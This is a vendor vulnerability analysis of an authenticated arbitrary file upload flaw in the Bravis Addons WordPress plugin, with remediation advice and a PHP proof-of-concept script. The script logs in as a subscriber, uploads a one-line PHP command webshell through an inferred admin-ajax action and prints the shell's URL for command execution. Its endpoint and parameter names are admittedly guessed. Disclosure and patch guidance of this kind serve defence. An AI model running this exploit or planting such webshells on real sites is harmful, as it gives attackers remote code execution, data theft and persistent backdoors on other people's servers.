Atomic Edge analysis of CVE-2025-69403 (metadata-based):
The Bravis Addons WordPress plugin contains an arbitrary file upload vulnerability. The flaw exists in a file upload handler, allowing authenticated users with Subscriber-level permissions or higher to upload files without proper type validation. This vulnerability has a high CVSS score of 8.8, indicating a severe risk of remote code execution.
Atomic Edge research identifies the root cause as CWE-434, Unrestricted Upload of File with Dangerous Type. The vulnerability description confirms a complete absence of file type validation in the upload mechanism. This analysis infers the plugin likely uses a WordPress AJAX hook or custom form handler to process uploads. The code does not verify the file extension or MIME type before moving the uploaded file to a publicly accessible directory. These conclusions are inferred from the CWE classification and standard WordPress plugin patterns, as the source code is unavailable for direct confirmation.
An attacker exploits this vulnerability by authenticating with a Subscriber account and sending a crafted HTTP POST request to the plugin’s file upload endpoint. The endpoint is likely `/wp-admin/admin-ajax.php` with an `action` parameter corresponding to a Bravis Addons AJAX hook, such as `bravis_addons_upload`. The request includes a file upload parameter, like `bravis_file`, containing a malicious PHP webshell. The attacker can then access the uploaded file via its URL to execute arbitrary code on the server.
Remediation requires implementing strict file upload validation. The patched version must verify both the file extension and MIME type against an allowlist of permitted types (e.g., images, documents). The code should also sanitize the file name and store uploaded files outside the web root or in a directory protected by `.htaccess` rules that prevent execution. WordPress functions like `wp_check_filetype_and_ext()` and proper capability checks for the upload function are essential components of a complete fix.
The impact of successful exploitation is severe. Attackers gain the ability to upload and execute arbitrary code, leading to full remote code execution. This compromises the hosting server, allowing data theft, site defacement, malware distribution, and the establishment of a persistent backdoor. The low privilege requirement (Subscriber) significantly widens the attack surface, as any registered user can trigger the exploit.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69403 - Bravis Addons <= 1.1.9 - Authenticated (Subscriber+) Arbitrary File Upload
<?php
$target_url = 'http://target-site.com'; // CHANGE THIS
$username = 'subscriber_user'; // CHANGE THIS - A subscriber-level account
$password = 'subscriber_pass'; // CHANGE THIS
// 1. Authenticate to obtain WordPress session cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save session cookies
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
// 2. Prepare malicious PHP webshell payload
$webshell_content = '<?php if(isset($_REQUEST["cmd"])) { system($_REQUEST["cmd"]); } ?>';
$php_payload = array(
// Assumed parameter name based on plugin slug and common patterns
'bravis_file' => new CURLFile('data://text/plain;base64,' . base64_encode($webshell_content), 'application/x-php', 'shell.php')
);
// 3. Target the likely AJAX upload endpoint
// The exact action parameter is inferred. Real exploitation may require discovering the correct hook.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_fields = array_merge(array('action' => 'bravis_addons_upload'), $php_payload);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$upload_response = curl_exec($ch);
// 4. Parse response to determine upload success and file location
// The plugin likely returns a JSON response with a file URL or path.
echo "Upload Response:n";
echo $upload_response . "nn";
// 5. If successful, attempt to access the uploaded shell
// The file path is unknown; this step assumes the response contains a URL.
// In a real scenario, an attacker would parse the JSON response for the 'url' field.
$json_response = json_decode($upload_response, true);
if ($json_response && isset($json_response['url'])) {
$shell_url = $json_response['url'];
echo "[+] Shell potentially uploaded to: " . $shell_url . "n";
echo "[+] Test with: " . $shell_url . "?cmd=idn";
} else {
echo "[-] Could not determine file location from response. Manual review required.n";
}
curl_close($ch);
?>
